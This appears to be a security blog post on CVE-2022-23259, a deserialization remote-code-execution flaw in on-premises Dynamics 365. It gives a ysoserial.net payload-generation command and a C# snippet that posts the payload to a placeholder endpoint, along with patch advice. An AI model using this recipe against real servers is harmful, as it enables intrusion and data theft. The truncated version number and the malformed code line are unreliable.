If you're running Microsoft Dynamics 365 (on-premises), CVE-2022-23259 should absolutely be on your radar. This critical remote code execution (RCE) bug allows attackers to exploit your CRM environment, potentially leading to data theft or full system compromise. In this post, we'll walk through what this vulnerability is, how it works, sample code, and how you can stay safe.

What is CVE-2022-23259?

CVE-2022-23259 is a security flaw in Microsoft Dynamics 365 (on-premises) versions 9. and 9.1. It was disclosed and patched in February 2022. The vulnerability lets an authenticated user run arbitrary code on the Dynamics server by manipulating specially crafted requests. In other words, if a bad actor gets into your Dynamics instance, they can take the reins of your whole server.

References

- Microsoft Advisory
- NIST NVD Entry

How Does the Exploit Work?

The vulnerability exists in the object deserialization process within Dynamics 365 web services. If attackers can send malicious serialized objects to exposed endpoints—and if they have credentials—they can trick the server into deserializing and executing this code.

Typically, these attacks leverage native .NET object serialization vulnerabilities, often with Gadget Chains—for example, through the ObjectStateFormatter or BinaryFormatter.

Exploit Flow: Step-by-Step

1. Gain Access: Attacker finds credentials with basic Dynamics access (often via phishing, weak passwords, or privilege escalation).
2. Craft Payload: The attacker builds a malicious serialized payload in .NET that, when deserialized, executes arbitrary commands (like launching cmd.exe or downloading malware).
3. Send Payload: The payload is sent to a vulnerable web service endpoint (like a custom workflow or SOAP endpoint).

Code Example: Crafting a Malicious Payload

Below is an educational code snippet using the popular ysoserial.net tool to create a dangerous serialization payload that launches calculator (or any other command):

// Requires ysoserial.net - Educational Use Only
string payload = "[malicious serialized object here]"; // The payload as generated by ysoserial.net

// Sending payload to the Dynamics 365 endpoint (example using HttpClient)
var httpClient = new HttpClient();
var request = new HttpRequestMessage(HttpMethod.Post, "https://dynamics.example.com/CustomService.svc";);
request.Headers.Add("Authorization", "Bearer [access-token]");
request.Content = new StringContent(payload, Encoding.UTF8, "application/soap+xml");
var response = await httpClient.SendAsync(request);

Console.WriteLine("Response: " + await response.Content.ReadAsStringAsync());

You’d generate payload above using a tool like

ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "calc.exe"

Note: Never use on systems you do not own. This is for demonstration and defense awareness only!

Real World Impact

- Data Loss/Leakage: Attackers could query or extract confidential data from your CRM.
- System Compromise: Attackers may install web shells, ransomware, or pivot deeper into your internal infrastructure.

Patch and Mitigation

Fix:  
Microsoft released patches in February 2022. If you haven’t applied these, you’re still at risk!

- Official Patch Downloads

References

- Microsoft Security Response Center: CVE-2022-23259
- NIST National Vulnerability Database: CVE-2022-23259
- ysoserial.net Gadget Chains
- Official Patch Notes & Guidance

Conclusion

CVE-2022-23259 is a big deal for anyone using Microsoft Dynamics 365 on-premises. If you haven’t patched your server yet, do it right now. With just minimal access, attackers could take control of your Dynamics instance, leading to serious trouble.

Stay informed, stay updated, and always patch early!


*This post is for educational and defensive purposes only. Never attempt to exploit systems you don't own. Always follow legal and ethical guidelines.*

Timeline

Published on: 04/15/2022 19:15:00 UTC
Last modified on: 04/21/2022 20:03:00 UTC